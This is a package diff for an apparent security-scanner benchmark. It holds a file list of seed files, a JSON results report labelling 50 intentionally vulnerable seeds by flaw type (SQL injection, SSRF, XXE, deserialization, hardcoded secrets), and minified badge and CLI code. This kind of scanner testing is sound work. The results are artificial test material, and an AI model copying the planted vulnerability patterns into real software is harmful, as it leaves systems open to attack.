  849. package/dist/packages/crucible/seeds/ts/seed-039 2.ts +35 -0
  850. package/dist/packages/crucible/seeds/ts/seed-039 3.ts +35 -0
  851. package/dist/packages/crucible/seeds/ts/seed-039.ts +35 -0
  852. package/dist/packages/crucible/seeds/ts/seed-040 2.ts +31 -0
  853. package/dist/packages/crucible/seeds/ts/seed-040 3.ts +31 -0
  854. package/dist/packages/crucible/seeds/ts/seed-040.ts +31 -0
  855. package/dist/packages/crucible/seeds/ts/seed-041 2.ts +29 -0
  856. package/dist/packages/crucible/seeds/ts/seed-041 3.ts +29 -0
  857. package/dist/packages/crucible/seeds/ts/seed-041.ts +29 -0
  858. package/dist/packages/crucible/seeds/ts/seed-042 2.ts +33 -0
  859. package/dist/packages/crucible/seeds/ts/seed-042 3.ts +33 -0
  860. package/dist/packages/crucible/seeds/ts/seed-042.ts +33 -0
  861. package/dist/packages/crucible/seeds/ts/seed-043 2.ts +32 -0
  862. package/dist/packages/crucible/seeds/ts/seed-043 3.ts +32 -0
  863. package/dist/packages/crucible/seeds/ts/seed-043.ts +32 -0
  864. package/dist/packages/crucible/seeds/ts/seed-044 2.ts +36 -0
  865. package/dist/packages/crucible/seeds/ts/seed-044 3.ts +36 -0
  866. package/dist/packages/crucible/seeds/ts/seed-044.ts +36 -0
  867. package/dist/packages/crucible/seeds/ts/seed-045 2.ts +39 -0
  868. package/dist/packages/crucible/seeds/ts/seed-045 3.ts +39 -0
  869. package/dist/packages/crucible/seeds/ts/seed-045.ts +39 -0
  870. package/dist/packages/crucible/seeds/ts/seed-046 2.ts +41 -0
  871. package/dist/packages/crucible/seeds/ts/seed-046 3.ts +41 -0
  872. package/dist/packages/crucible/seeds/ts/seed-046.ts +41 -0
  873. package/dist/packages/crucible/seeds/ts/seed-047 2.ts +33 -0
  874. package/dist/packages/crucible/seeds/ts/seed-047 3.ts +33 -0
  875. package/dist/packages/crucible/seeds/ts/seed-047.ts +33 -0
  876. package/dist/packages/crucible/seeds/ts/seed-048 2.ts +33 -0
  877. package/dist/packages/crucible/seeds/ts/seed-048 3.ts +33 -0
  878. package/dist/packages/crucible/seeds/ts/seed-048.ts +33 -0
  879. package/dist/packages/crucible/seeds/ts/seed-049 2.ts +34 -0
  880. package/dist/packages/crucible/seeds/ts/seed-049 3.ts +34 -0
  881. package/dist/packages/crucible/seeds/ts/seed-049.ts +34 -0
  882. package/dist/packages/crucible/seeds/ts/seed-050 2.ts +41 -0
  883. package/dist/packages/crucible/seeds/ts/seed-050 3.ts +41 -0
  884. package/dist/packages/crucible/seeds/ts/seed-050.ts +41 -0
  885. package/dist/packages/crucible/seeds/ts/seed-051 2.ts +34 -0
  886. package/dist/packages/crucible/seeds/ts/seed-051 3.ts +34 -0
  887. package/dist/packages/crucible/seeds/ts/seed-051.ts +34 -0
  888. package/dist/packages/crucible/seeds/ts/seed-052 2.ts +36 -0
  889. package/dist/packages/crucible/seeds/ts/seed-052 3.ts +36 -0
  890. package/dist/packages/crucible/seeds/ts/seed-052.ts +36 -0
  891. package/dist/packages/crucible/self-attack.js +1 -0
  892. package/dist/packages/scanner/ai-confidence-scorer.js +1 -0
  893. package/dist/packages/scanner/alert-manager.js +1 -0
  894. package/dist/packages/scanner/ast-analyzer.js +1 -0
  895. package/dist/packages/scanner/baseline-manager.js +1 -0
  896. package/dist/packages/scanner/cfg-analyzer.js +1 -0
  897. package/dist/packages/scanner/code-scanner.js +1 -0
  898. package/dist/packages/scanner/codebase-passport.js +1 -0
  899. package/dist/packages/scanner/copy-paste-detector.js +1 -0
  900. package/dist/packages/scanner/dependency-graph.js +1 -0
  901. package/dist/packages/scanner/drift-detector.js +1 -0
  902. package/dist/packages/scanner/executive-report.js +1 -0
  903. package/dist/packages/scanner/export-verifier.js +1 -0
  904. package/dist/packages/scanner/file-collector.js +1 -0
  905. package/dist/packages/scanner/file-watcher.js +1 -0
  906. package/dist/packages/scanner/ghost-code-detector.js +1 -0
  907. package/dist/packages/scanner/go-ast-analyzer.js +1 -0
  908. package/dist/packages/scanner/hallucination-detector.js +1 -0
  909. package/dist/packages/scanner/health-checker.js +1 -0
  910. package/dist/packages/scanner/html-report.js +1 -0
  911. package/dist/packages/scanner/index.js +1 -0
  912. package/dist/packages/scanner/license-manager.js +1 -0
  913. package/dist/packages/scanner/master-health-checker.js +1 -0
  914. package/dist/packages/scanner/monitor-notifier.js +1 -0
  915. package/dist/packages/scanner/monitor-service.js +1 -0
  916. package/dist/packages/scanner/monitor-store.js +1 -0
  917. package/dist/packages/scanner/pre-commit-gate.js +1 -0
  918. package/dist/packages/scanner/python-ast-analyzer.js +1 -0
  919. package/dist/packages/scanner/scan-diff.js +1 -0
  920. package/dist/packages/scanner/scan-runner.js +1 -0
  921. package/dist/packages/scanner/secret-scanner.js +1 -0
  922. package/dist/packages/scanner/sentinel-core.js +1 -0
  923. package/dist/packages/scanner/sentinel-knowledge.js +1 -0
  924. package/dist/packages/scanner/taint-tracker.js +1 -0
  925. package/dist/packages/scanner/tech-debt-analyzer.js +1 -0
  926. package/dist/packages/scanner/tech-debt-cost.js +1 -0
  927. package/dist/packages/scanner/widget-generator.js +1 -0
  928. package/package.json +15 -7
  929. package/cli.js +0 -2627
  930. package/packages/scanner/ai-confidence-scorer.js +0 -260
  931. package/packages/scanner/alert-manager.js +0 -398
  932. package/packages/scanner/baseline-manager.js +0 -109
  933. package/packages/scanner/code-scanner.js +0 -758
  934. package/packages/scanner/codebase-passport.js +0 -299
  935. package/packages/scanner/copy-paste-detector.js +0 -276
  936. package/packages/scanner/dependency-graph.js +0 -541
  937. package/packages/scanner/drift-detector.js +0 -423
  938. package/packages/scanner/executive-report.js +0 -774
  939. package/packages/scanner/file-collector.js +0 -64
  940. package/packages/scanner/file-watcher.js +0 -323
  941. package/packages/scanner/ghost-code-detector.js +0 -301
  942. package/packages/scanner/hallucination-detector.js +0 -822
  943. package/packages/scanner/health-checker.js +0 -586
  944. package/packages/scanner/html-report.js +0 -634
  945. package/packages/scanner/index.js +0 -100
  946. package/packages/scanner/license-manager.js +0 -331
  947. package/packages/scanner/master-health-checker.js +0 -513
  948. package/packages/scanner/monitor-notifier.js +0 -64
  949. package/packages/scanner/monitor-service.js +0 -103
  950. package/packages/scanner/monitor-store.js +0 -117
  951. package/packages/scanner/pre-commit-gate.js +0 -216
  952. package/packages/scanner/scan-diff.js +0 -50
  953. package/packages/scanner/scan-runner.js +0 -172
  954. package/packages/scanner/secret-scanner.js +0 -612
  955. package/packages/scanner/secret-scanner.test.js +0 -103
  956. package/packages/scanner/sentinel-core.js +0 -616
  957. package/packages/scanner/sentinel-knowledge.js +0 -322
  958. package/packages/scanner/tech-debt-analyzer.js +0 -583
  959. package/packages/scanner/tech-debt-cost.js +0 -194
  960. package/packages/scanner/widget-generator.js +0 -415
@@ -0,0 +1,414 @@
1
+ {
2
+ "version": 1,
3
+ "timestamp": "2026-07-01T11:20:04.329Z",
4
+ "hash": "8752892137ff7720",
5
+ "count": 50,
6
+ "meta": {
7
+ "score": 100,
8
+ "level": "gentle",
9
+ "seeds": 50,
10
+ "duration": 281
11
+ },
12
+ "findings": [
13
+ {
14
+ "seedId": "csharp/seed-009.cs",
15
+ "category": "sql_injection",
16
+ "severity": "critical",
17
+ "language": "csharp",
18
+ "detected": true,
19
+ "label": "SQL injection via string concatenation in SqlCommand"
20
+ },
21
+ {
22
+ "seedId": "csharp/seed-033.cs",
23
+ "category": "path_traversal",
24
+ "severity": "high",
25
+ "language": "csharp",
26
+ "detected": true,
27
+ "label": "Path traversal in file write with user-supplied report name enabling overwrite of arbitrary files"
28
+ },
29
+ {
30
+ "seedId": "csharp/seed-034.cs",
31
+ "category": "insecure_crypto",
32
+ "severity": "high",
33
+ "language": "csharp",
34
+ "detected": true,
35
+ "label": "MD5 used for password hashing via MD5.Create()"
36
+ },
37
+ {
38
+ "seedId": "csharp/seed-037.cs",
39
+ "category": "insecure_crypto",
40
+ "severity": "high",
41
+ "language": "csharp",
42
+ "detected": true,
43
+ "label": "SHA1 used for HMAC signing instead of SHA256 or higher"
44
+ },
45
+ {
46
+ "seedId": "csharp/seed-042.cs",
47
+ "category": "deserialization",
48
+ "severity": "critical",
49
+ "language": "csharp",
50
+ "detected": true,
51
+ "label": "Unsafe deserialization via DataContractSerializer reading from request body"
52
+ },
53
+ {
54
+ "seedId": "csharp/seed-045.cs",
55
+ "category": "ssrf",
56
+ "severity": "high",
57
+ "language": "csharp",
58
+ "detected": true,
59
+ "label": "SSRF via HttpClient.GetAsync with user-controlled endpoint URL"
60
+ },
61
+ {
62
+ "seedId": "csharp/seed-048.cs",
63
+ "category": "xxe",
64
+ "severity": "critical",
65
+ "language": "csharp",
66
+ "detected": true,
67
+ "label": "XXE via XmlReader without secure settings (DtdProcessing.Parse enabled)"
68
+ },
69
+ {
70
+ "seedId": "go/seed-019.go",
71
+ "category": "xss",
72
+ "severity": "high",
73
+ "language": "go",
74
+ "detected": true,
75
+ "label": "XSS via w.Write injecting user input into inline JavaScript variable"
76
+ },
77
+ {
78
+ "seedId": "go/seed-029.go",
79
+ "category": "path_traversal",
80
+ "severity": "high",
81
+ "language": "go",
82
+ "detected": true,
83
+ "label": "Path traversal via os.Open with user-supplied filename concatenated to base path"
84
+ },
85
+ {
86
+ "seedId": "go/seed-034.go",
87
+ "category": "insecure_crypto",
88
+ "severity": "high",
89
+ "language": "go",
90
+ "detected": true,
91
+ "label": "MD5 used for password hashing via crypto/md5"
92
+ },
93
+ {
94
+ "seedId": "go/seed-036.go",
95
+ "category": "insecure_crypto",
96
+ "severity": "high",
97
+ "language": "go",
98
+ "detected": true,
99
+ "label": "SHA1 used for HMAC signing and MD5 for file integrity verification"
100
+ },
101
+ {
102
+ "seedId": "go/seed-042.go",
103
+ "category": "open_redirect",
104
+ "severity": "medium",
105
+ "language": "go",
106
+ "detected": true,
107
+ "label": "Open redirect via http.Redirect using user-supplied return URL after password reset"
108
+ },
109
+ {
110
+ "seedId": "go/seed-050.go",
111
+ "category": "open_redirect",
112
+ "severity": "medium",
113
+ "language": "go",
114
+ "detected": true,
115
+ "label": "Open redirect via http.Redirect with Referer header used as redirect destination"
116
+ },
117
+ {
118
+ "seedId": "java/seed-009.java",
119
+ "category": "sql_injection",
120
+ "severity": "critical",
121
+ "language": "java",
122
+ "detected": true,
123
+ "label": "SQL injection via string concatenation in executeQuery"
124
+ },
125
+ {
126
+ "seedId": "java/seed-034.java",
127
+ "category": "insecure_crypto",
128
+ "severity": "high",
129
+ "language": "java",
130
+ "detected": true,
131
+ "label": "MD5 used for password hashing via MessageDigest"
132
+ },
133
+ {
134
+ "seedId": "java/seed-042.java",
135
+ "category": "deserialization",
136
+ "severity": "critical",
137
+ "language": "java",
138
+ "detected": true,
139
+ "label": "Unsafe deserialization in JMS message listener via ObjectMessage"
140
+ },
141
+ {
142
+ "seedId": "java/seed-044.java",
143
+ "category": "xxe",
144
+ "severity": "critical",
145
+ "language": "java",
146
+ "detected": true,
147
+ "label": "XXE via XMLReader without disabling external entities or DOCTYPE processing"
148
+ },
149
+ {
150
+ "seedId": "java/seed-048.java",
151
+ "category": "ssrf",
152
+ "severity": "high",
153
+ "language": "java",
154
+ "detected": true,
155
+ "label": "SSRF via URL.openConnection with user-supplied URL parameter"
156
+ },
157
+ {
158
+ "seedId": "java/seed-049.java",
159
+ "category": "ssrf",
160
+ "severity": "high",
161
+ "language": "java",
162
+ "detected": true,
163
+ "label": "SSRF via URL.openStream with user-controlled webhook URL"
164
+ },
165
+ {
166
+ "seedId": "js/seed-014.js",
167
+ "category": "sql_injection",
168
+ "severity": "critical",
169
+ "language": "javascript",
170
+ "detected": true,
171
+ "label": "SQL injection via Sequelize literal() with user input"
172
+ },
173
+ {
174
+ "seedId": "js/seed-015.js",
175
+ "category": "sql_injection",
176
+ "severity": "critical",
177
+ "language": "javascript",
178
+ "detected": true,
179
+ "label": "SQL injection via bulk IN clause construction with user-supplied IDs"
180
+ },
181
+ {
182
+ "seedId": "js/seed-026.js",
183
+ "category": "command_injection",
184
+ "severity": "high",
185
+ "language": "javascript",
186
+ "detected": true,
187
+ "label": "command injection via child_process.exec in scheduled job"
188
+ },
189
+ {
190
+ "seedId": "js/seed-030.js",
191
+ "category": "path_traversal",
192
+ "severity": "high",
193
+ "language": "javascript",
194
+ "detected": true,
195
+ "label": "path traversal via user-controlled directory in readdir and readFileSync"
196
+ },
197
+ {
198
+ "seedId": "js/seed-044.js",
199
+ "category": "eval_abuse",
200
+ "severity": "critical",
201
+ "language": "javascript",
202
+ "detected": true,
203
+ "label": "eval() called with user-controlled expression string"
204
+ },
205
+ {
206
+ "seedId": "js/seed-046.js",
207
+ "category": "eval_abuse",
208
+ "severity": "high",
209
+ "language": "javascript",
210
+ "detected": true,
211
+ "label": "eval() used in JSON reviver to execute serialized function strings"
212
+ },
213
+ {
214
+ "seedId": "js/seed-047.js",
215
+ "category": "eval_abuse",
216
+ "severity": "high",
217
+ "language": "javascript",
218
+ "detected": true,
219
+ "label": "eval() inside setTimeout and setInterval with user-controlled string"
220
+ },
221
+ {
222
+ "seedId": "js/seed-052.js",
223
+ "category": "ssrf",
224
+ "severity": "high",
225
+ "language": "javascript",
226
+ "detected": true,
227
+ "label": "SSRF via got/superagent with redirect following and user-controlled URL"
228
+ },
229
+ {
230
+ "seedId": "kotlin/seed-019.kt",
231
+ "category": "xss",
232
+ "severity": "medium",
233
+ "language": "kotlin",
234
+ "detected": true,
235
+ "label": "WebView evaluateJavascript with unsanitized user string"
236
+ },
237
+ {
238
+ "seedId": "kotlin/seed-032.kt",
239
+ "category": "path_traversal",
240
+ "severity": "high",
241
+ "language": "kotlin",
242
+ "detected": true,
243
+ "label": "Download path constructed from user-controlled filename without sanitization"
244
+ },
245
+ {
246
+ "seedId": "kotlin/seed-038.kt",
247
+ "category": "insecure_crypto",
248
+ "severity": "medium",
249
+ "language": "kotlin",
250
+ "detected": true,
251
+ "label": "SHA-1 used for certificate pinning and signature verification"
252
+ },
253
+ {
254
+ "seedId": "php/seed-003.php",
255
+ "category": "hardcoded_secret",
256
+ "severity": "critical",
257
+ "language": "php",
258
+ "detected": true,
259
+ "label": "Hardcoded AWS credentials and S3 configuration"
260
+ },
261
+ {
262
+ "seedId": "php/seed-017.php",
263
+ "category": "xss",
264
+ "severity": "high",
265
+ "language": "php",
266
+ "detected": true,
267
+ "label": "$_POST values echoed directly into HTML form — stored XSS vector"
268
+ },
269
+ {
270
+ "seedId": "php/seed-018.php",
271
+ "category": "xss",
272
+ "severity": "high",
273
+ "language": "php",
274
+ "detected": true,
275
+ "label": "print_r or var_dump of user input rendered in HTML context"
276
+ },
277
+ {
278
+ "seedId": "php/seed-029.php",
279
+ "category": "path_traversal",
280
+ "severity": "critical",
281
+ "language": "php",
282
+ "detected": true,
283
+ "label": "include() with user-supplied path — local file inclusion / RFI"
284
+ },
285
+ {
286
+ "seedId": "python/seed-001.py",
287
+ "category": "hardcoded_secret",
288
+ "severity": "critical",
289
+ "language": "python",
290
+ "detected": true,
291
+ "label": "hardcoded AWS access key and secret key"
292
+ },
293
+ {
294
+ "seedId": "python/seed-029.py",
295
+ "category": "path_traversal",
296
+ "severity": "high",
297
+ "language": "python",
298
+ "detected": true,
299
+ "label": "path traversal via open() with unvalidated user-supplied file path"
300
+ },
301
+ {
302
+ "seedId": "python/seed-036.py",
303
+ "category": "insecure_crypto",
304
+ "severity": "high",
305
+ "language": "python",
306
+ "detected": true,
307
+ "label": "DES cipher usage and AES-ECB mode with static key"
308
+ },
309
+ {
310
+ "seedId": "python/seed-049.py",
311
+ "category": "deserialization",
312
+ "severity": "critical",
313
+ "language": "python",
314
+ "detected": true,
315
+ "label": "pickle.load used with untrusted file upload and shelve with user-controlled key"
316
+ },
317
+ {
318
+ "seedId": "python/seed-052.py",
319
+ "category": "yaml_injection",
320
+ "severity": "critical",
321
+ "language": "python",
322
+ "detected": true,
323
+ "label": "yaml.load() without safe_load — RCE via !!python/object tags in YAML"
324
+ },
325
+ {
326
+ "seedId": "ruby/seed-002.rb",
327
+ "category": "hardcoded_secret",
328
+ "severity": "critical",
329
+ "language": "ruby",
330
+ "detected": true,
331
+ "label": "Hardcoded database password in database.yml equivalent or initializer"
332
+ },
333
+ {
334
+ "seedId": "ruby/seed-005.rb",
335
+ "category": "hardcoded_secret",
336
+ "severity": "high",
337
+ "language": "ruby",
338
+ "detected": true,
339
+ "label": "Hardcoded JWT secret and admin API token"
340
+ },
341
+ {
342
+ "seedId": "ruby/seed-021.rb",
343
+ "category": "xss",
344
+ "severity": "high",
345
+ "language": "ruby",
346
+ "detected": true,
347
+ "label": "ActionMailer HTML email built with unescaped user content"
348
+ },
349
+ {
350
+ "seedId": "ruby/seed-028.rb",
351
+ "category": "command_injection",
352
+ "severity": "high",
353
+ "language": "ruby",
354
+ "detected": true,
355
+ "label": "Kernel.system called with interpolated hostname for network diagnostics"
356
+ },
357
+ {
358
+ "seedId": "ruby/seed-044.rb",
359
+ "category": "open_redirect",
360
+ "severity": "high",
361
+ "language": "ruby",
362
+ "detected": true,
363
+ "label": "redirect_to params[:url] without validation — open redirect"
364
+ },
365
+ {
366
+ "seedId": "rust/seed-011.rs",
367
+ "category": "unsafe_block",
368
+ "severity": "critical",
369
+ "language": "rust",
370
+ "detected": true,
371
+ "label": "Unsafe foreign function interface call without input validation"
372
+ },
373
+ {
374
+ "seedId": "rust/seed-044.rs",
375
+ "category": "crypto_misuse",
376
+ "severity": "high",
377
+ "language": "rust",
378
+ "detected": true,
379
+ "label": "MD5 crate used for password or data integrity hashing"
380
+ },
381
+ {
382
+ "seedId": "ts/seed-004.ts",
383
+ "category": "hardcoded_secret",
384
+ "severity": "critical",
385
+ "language": "typescript",
386
+ "detected": true,
387
+ "label": "hardcoded Stripe secret key and webhook secret in typed service"
388
+ },
389
+ {
390
+ "seedId": "ts/seed-032.ts",
391
+ "category": "path_traversal",
392
+ "severity": "high",
393
+ "language": "typescript",
394
+ "detected": true,
395
+ "label": "zip-slip path traversal via user-uploaded archive with unvalidated entry names"
396
+ },
397
+ {
398
+ "seedId": "ts/seed-034.ts",
399
+ "category": "insecure_crypto",
400
+ "severity": "high",
401
+ "language": "typescript",
402
+ "detected": true,
403
+ "label": "MD5 used for password hashing in typed auth service"
404
+ },
405
+ {
406
+ "seedId": "ts/seed-048.ts",
407
+ "category": "ssrf",
408
+ "severity": "high",
409
+ "language": "typescript",
410
+ "detected": true,
411
+ "label": "SSRF via fetch with unvalidated user-supplied URL"
412
+ }
413
+ ]
414
+ }
@@ -0,0 +1 @@
1
+ "use strict";const fs=require("fs"),path=require("path"),COLORS={green:{fill:"#4c9b3c",text:"#dcffe4",shadow:"#3a7a2e"},yellow:{fill:"#d4a017",text:"#fff9e6",shadow:"#a87c10"},red:{fill:"#c0392b",text:"#ffd6d6",shadow:"#8e2a1e"},label:{fill:"#555555",text:"#ffffff",shadow:"#3c3c3c"}};function scoreColor(e){return e>=80?"green":e>=60?"yellow":"red"}function verdict(e,t=70){return e>=t?"PASSED":"FAILED"}function buildSVG({score:e,style:t="score",threshold:r=70}){const n=scoreColor(e),o=COLORS[n],i=COLORS.label;let a;a="verdict"===t?verdict(e,r):`${e}/100`;const s="Crucible",l=a.length<=6?52:7*a.length+16,c=68+l,f=68+l/2;return`<svg xmlns="http://www.w3.org/2000/svg" width="${c}" height="20" role="img" aria-label="${s}: ${a}">\n <title>${s}: ${a}</title>\n <defs>\n <linearGradient id="s" x1="0" y1="0" x2="0" y2="1">\n <stop offset="0" stop-color="#bbb" stop-opacity=".1"/>\n <stop offset="1" stop-opacity=".1"/>\n </linearGradient>\n <clipPath id="r">\n <rect width="${c}" height="20" rx="3" fill="#fff"/>\n </clipPath>\n </defs>\n <g clip-path="url(#r)">\n \x3c!-- Label background --\x3e\n <rect width="68" height="20" fill="${i.fill}"/>\n \x3c!-- Value background --\x3e\n <rect x="68" width="${l}" height="20" fill="${o.fill}"/>\n \x3c!-- Gloss overlay --\x3e\n <rect width="${c}" height="20" fill="url(#s)"/>\n </g>\n \x3c!-- Label text (shadow + main) --\x3e\n <g fill="${i.text}" text-anchor="middle" font-family="DejaVu Sans,Verdana,Geneva,sans-serif" font-size="11">\n <text x="34.5" y="15" fill="#010101" fill-opacity=".3" aria-hidden="true">${s}</text>\n <text x="34" y="14">${s}</text>\n </g>\n \x3c!-- Value text (shadow + main) --\x3e\n <g fill="${o.text}" text-anchor="middle" font-family="DejaVu Sans,Verdana,Geneva,sans-serif" font-size="11" font-weight="bold">\n <text x="${f+.5}" y="15" fill="#010101" fill-opacity=".3" aria-hidden="true">${a}</text>\n <text x="${f}" y="14">${a}</text>\n </g>\n</svg>`}function markdownSnippet(e=".crucible/badge.svg",t){return t?`[![Crucible Score](${e})](${t})`:`![Crucible Score](${e})`}function generateBadge({score:e,targetPath:t,style:r="score",threshold:n=70}){if("number"!=typeof e||e<0||e>100)throw new Error(`score must be a number 0–100, got: ${e}`);const o=path.resolve(t),i=buildSVG({score:e,style:r,threshold:n}),a=path.join(o,".crucible"),s=path.join(a,"badge.svg");if(!s.startsWith(o+path.sep))throw new Error("Badge output path escapes targetPath boundary");fs.mkdirSync(a,{recursive:!0}),fs.writeFileSync(s,i,"utf-8");const l=markdownSnippet(path.relative(o,s));return{success:!0,outputPath:s,score:e,color:scoreColor(e),style:r,threshold:n,verdict:verdict(e,n),markdown:l}}function readLastScore(e){const t=path.resolve(e),r=path.join(t,".crucible","report.json");if(!fs.existsSync(r))return null;try{const e=JSON.parse(fs.readFileSync(r,"utf-8"));return"number"==typeof e.score?e.score:null}catch{return null}}function writeLastScore(e,t){const r=path.resolve(e),n=path.join(r,".crucible"),o=path.join(n,"report.json");if(!o.startsWith(r+path.sep))throw new Error("Score output path escapes targetPath boundary");fs.mkdirSync(n,{recursive:!0});let i={};if(fs.existsSync(o))try{i=JSON.parse(fs.readFileSync(o,"utf-8"))}catch{i={}}return i.score=t,i.timestamp=(new Date).toISOString(),fs.writeFileSync(o,JSON.stringify(i,null,2),"utf-8"),o}module.exports={generateBadge:generateBadge,buildSVG:buildSVG,markdownSnippet:markdownSnippet,readLastScore:readLastScore,writeLastScore:writeLastScore,scoreColor:scoreColor,verdict:verdict};
@@ -0,0 +1 @@
1
+ "use strict";const NO_COLOR=void 0!==process.env.NO_COLOR,IS_TTY=!!process.stdout.isTTY,COLORTERM=(process.env.COLORTERM||"").toLowerCase(),TERM=(process.env.TERM||"").toLowerCase(),HAS_TRUECOLOR=!NO_COLOR&&IS_TTY&&("truecolor"===COLORTERM||"24bit"===COLORTERM),HAS_256=!NO_COLOR&&IS_TTY&&(HAS_TRUECOLOR||TERM.includes("256color")||"256color"===COLORTERM),HAS_COLOR=!NO_COLOR&&IS_TTY&&(HAS_TRUECOLOR||HAS_256||""!==TERM||""!==COLORTERM);function _c(E,e,r){return HAS_COLOR?HAS_TRUECOLOR&&E?E:HAS_256&&e?e:r||"":""}const RESET=HAS_COLOR?"":"",BOLD=HAS_COLOR?"":"",DIM=HAS_COLOR?"":"",UNDER=HAS_COLOR?"":"",BLUE=_c("","",""),PURPLE=_c("","",""),RED=_c("","",""),GREEN=_c("","",""),AMBER=_c("","",""),WHITE=HAS_COLOR?"":"",DBLUE=HAS_COLOR?HAS_256?DIM+BLUE:DIM+"":"",GRAY=HAS_COLOR?"":"",YELLOW=AMBER,ORANGE=AMBER,CYAN=BLUE,SEP_WIDTH=58,SEP_CHAR="─";function _sep(){return DBLUE+" "+"─".repeat(58)+RESET}function statusTag(E,e){return GRAY+"[ "+RESET+(e||WHITE)+BOLD+E+RESET+GRAY+" ]"+RESET}const TAG_DONE=statusTag("DONE",GREEN),TAG_ACTIVE=statusTag("ACTIVE",AMBER),TAG_RUNNING=statusTag("RUNNING",PURPLE),TAG_WAITING=statusTag("WAITING",GRAY+DIM),TAG_DEFLECTED=statusTag("DEFLECTED",GREEN),TAG_MUTATED=statusTag("MUTATED",RED),TAG_PASS=statusTag("PASS",GREEN),TAG_FAIL=statusTag("FAIL",RED),TAG_BREACH=statusTag("BREACH",RED),TAG_SURVIVED=statusTag("SURVIVED",GREEN),TAG_SKIP=statusTag("SKIP",GRAY+DIM);function renderInit(E={}){const e=E.version||"0.4.0",r=E.target||".",T=E.mode||"standard",n=null!=E.seed?"0x"+Number(E.seed).toString(16).toUpperCase().padStart(9,"0"):"0x000000000",R=[];return R.push(""),R.push(" "+WHITE+BOLD+"🛡️ THUBAN CRUCIBLE"+RESET+DBLUE+" // "+RESET+WHITE+"v"+e+RESET),R.push(_sep()),R.push(" "+BLUE+BOLD+"[INIT]"+RESET+WHITE+" Target: "+RESET+WHITE+r+RESET),R.push(" "+BLUE+BOLD+"[INIT]"+RESET+WHITE+" Mode: "+RESET+WHITE+T+RESET),R.push(" "+BLUE+BOLD+"[INIT]"+RESET+WHITE+" Seed: "+RESET+WHITE+n+RESET+GRAY+" (Deterministic)"+RESET),R.push(""),R.join("\n")}function renderPhaseHeader(E){return"\n 🔨 "+WHITE+BOLD+(E||"THE CRUCIBLE IS BURNING...")+RESET+"\n"}function renderProgress(E,e,r={}){const T=_resolveTag(e),n=r.sub,R=r.last,t=(n||_padPhase(E),r.detail||"");if(n){const E=void 0!==r.emoji?r.emoji:"🧪";return DBLUE+" │ └─ "+RESET+GRAY+E+" "+RESET+WHITE+(r.subLabel||t)+RESET+(T?" "+_rightAlign(T,t?"":t):"")}const s=t?GRAY+t+RESET:"",A=T?" "+T:"";return(R?DBLUE+" └─ "+RESET:DBLUE+" ├─ "+RESET)+_padPhase(BLUE+BOLD+"["+E+"]"+RESET,E.length)+" "+s+A}function renderVerdict(E={}){const e=!1!==E.survived,r=_fmt(E.mutationsAttempted),T=_fmt(E.deflections),n=null!=E.breaches?E.breaches:0,R=E.reportPath||"",t=E.selfHeal||"",s=E.seedHex||"",A=null!=E.score?E.score:null,a=e?GREEN+BOLD+"CODEBASE SURVIVED THE CRUCIBLE."+RESET:RED+BOLD+"CODEBASE BREACHED — CRITICAL FAILURES DETECTED."+RESET,u=[];u.push(""),u.push(" 🏁 "+WHITE+BOLD+"[VERDICT]"+RESET+" "+a),u.push(_sep()),null!==r&&u.push(" 📦 "+WHITE+"Mutations Attempted: "+RESET+WHITE+BOLD+r+RESET),null!==T&&u.push(" 🛡️ "+WHITE+"Deflections: "+RESET+GREEN+BOLD+T+RESET);const o=n>0?RED+BOLD+String(n)+RESET+(t?GRAY+" ("+t+")"+RESET:""):GREEN+BOLD+"0"+RESET;if(u.push(" 💥 "+WHITE+"Critical Breaches: "+RESET+o),null!==A){const E=A>=90?GREEN:A>=70?AMBER:RED;u.push(" 🌟 "+WHITE+"Crucible Score: "+RESET+E+BOLD+A+"/100"+RESET)}return R&&u.push(" 📄 "+WHITE+"Report Generated: "+RESET+BLUE+UNDER+R+RESET),s&&u.push(" "+GRAY+"Seed: "+s+RESET),u.push(""),u.join("\n")}function fullBanner(E={}){return renderInit({version:E.version,target:E.targetPath||".",mode:E.level?"--level "+E.level:"standard",seed:E.seed})}function compactBanner(E){return"\n 🔥 "+WHITE+BOLD+"CRUCIBLE"+RESET+(E?" "+GRAY+"["+RESET+AMBER+E+RESET+GRAY+"]"+RESET:"")+"\n"}function scoreBanner(E,e){const r=scoreColor(E),T=e||scoreLabel(E),n=buildProgressBar(E,40);return[""," "+WHITE+BOLD+"Crucible Score"+RESET," "+r+n+RESET+" "+r+BOLD+E+"/100"+RESET+" "+GRAY+T+RESET,""].join("\n")}function sectionHeader(E,e){return"\n"+AMBER+" "+(e?e+" ":"")+BOLD+E+RESET+"\n"+GRAY+" "+"─".repeat(Math.min(60,E.length+4))+RESET+"\n"}function statusLine(E,e,r){return` ${E?GREEN+"✓"+RESET:RED+"✗"+RESET} ${DIM+e+RESET}${r?GRAY+" "+r+RESET:""}`}function summaryLine(E,e,r){const T=scoreColor(r),n=e-E;return["",` ${BOLD}Results:${RESET} ${GREEN}${E} passed${RESET} `+(n>0?RED+n+" failed"+RESET:DIM+"0 failed"+RESET)+" "+`${GRAY}(${e} total)${RESET}`,` ${BOLD}Score:${RESET} ${T}${BOLD}${r}/100${RESET}`,""].join("\n")}function plainBanner(){return[""," THUBAN CRUCIBLE"," "+"─".repeat(58)," The Fire Test for Security Scanners",""].join("\n")}const PHASE_WIDTH=12;function _padPhase(E,e){const r=null!=e?e:_stripAnsi(E).length,T=Math.max(0,PHASE_WIDTH-r);return E+" ".repeat(T)}function _stripAnsi(E){return E.replace(/\x1b\[[0-9;]*m/g,"")}function _resolveTag(E){switch((E||"").toUpperCase()){case"DONE":return TAG_DONE;case"ACTIVE":return TAG_ACTIVE;case"RUNNING":return TAG_RUNNING;case"WAITING":return TAG_WAITING;case"DEFLECTED":return TAG_DEFLECTED;case"MUTATED":return TAG_MUTATED;case"PASS":return TAG_PASS;case"FAIL":return TAG_FAIL;case"BREACH":return TAG_BREACH;case"SURVIVED":return TAG_SURVIVED;case"SKIP":return TAG_SKIP;default:return statusTag(E||"?",GRAY)}}function _rightAlign(E,e){return E}function _fmt(E){return null==E?null:Number(E).toLocaleString("en-US")}function buildProgressBar(E,e){const r=Math.round(E/100*e),T=e-r;return"["+"█".repeat(r)+"░".repeat(T)+"]"}function scoreColor(E){return HAS_COLOR?E>=90?GREEN:E>=70||E>=50?AMBER:RED:""}function scoreLabel(E){return E>=90?"Excellent":E>=70?"Good":E>=50?"Fair":E>=30?"Poor":"Critical"}function levelColor(E){if(!HAS_COLOR)return"";switch((E||"").toLowerCase()){case"gentle":return GREEN;case"medium":return AMBER;case"hell":return RED;default:return 